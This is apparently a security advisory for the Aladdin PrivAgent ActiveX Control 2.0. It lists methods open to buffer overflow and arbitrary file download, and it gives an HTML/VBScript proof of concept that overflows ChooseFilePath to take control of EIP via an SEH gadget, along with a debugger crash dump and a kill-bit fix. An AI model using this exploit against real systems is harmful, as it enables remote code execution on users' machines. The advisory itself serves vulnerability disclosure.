================
FILE INFO:
================
Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities
File: PrivAgent.ocx
InternalName: PrivAgentAx
OriginalFilename: PrivAgent.ocx
FileVersion: 2.0.0.0
FileDescription: PrivAgent ActiveX Control
Product: Privilege
ProductVersion: 02.0
Debug: False
Patched: False
PreRelease: False
PrivateBuild: True
SpecialBuild: False
Language: English (United States)
MD5 hash: c96dfc282b6bdc177abd076a9bb94933
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OBJECT SAFETY REPORT:
================
CLSID: {09F68A41-2FBE-11D3-8C9D-0008C7D901B6}
ProgID: PrivAgentAx.PrivAgent.1
Description: PrivAgent Class
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
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TESTED ON:
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Windows XP Professional SP3
Windows 7 Professional SP3
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DOWNLOADABLE FROM:
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ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
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BUG INFO:
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This ocx seems to be really poor coded. I've found so many errors that I felt too choosy
(yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method.
Below there's a list of stack-based buffer overflow, insecure file download and a proof
of concept which exploits a good old fashioned (or trivial, if you like) stack based
buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer
than 268 bytes. In this case, after a memory reading exception, we are in full control of
EIP.
Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary
file download? :)
#1
Function DownloadLicense (
ByVal sURL As String ,
ByVal sPath As String ,
ByVal bInstall As Boolean
) As Long
#2
Function ChooseFilePath (
ByVal sFileName As String
) As String
#3
Function InstallLicense (
ByVal szLicensePath As String
) As Long
#4
Function InstallPrivilege (
ByVal szInstFilePath As String
) As Long
#4
Function DownloadPrivilege (
ByVal szURL As String ,
ByVal szTargetDir As String ,
ByVal bInstall As Boolean
) As Long
#4
Function InstallDevExt (
ByVal szDevExtPath As String
) As Long
#5
Function DownloadDevExt (
ByVal szURL As String ,
ByVal szTargetPath As String ,
ByVal bInstall As Boolean
) As Long
================
PROOF OF CONCEPT:
================
<html>
<object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
<script language = 'vbscript'>
buffer = String(268, "A")
getEIP = unescape("bbbb")
buffer_2 = "CCCCCCCC"
exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx
buffer_3 = unescape("EEEE" + String(2712, "F"))
test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3
</script>
</html>
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CRASH DUMP:
================
0:005> g
WARNING: Continuing a non-continuable exception
(1138.1304): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24
eip=62626262 esp=0253cce4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
62626262 ?? ???
================
FIX:
Set kill-bit to stop the activeX control
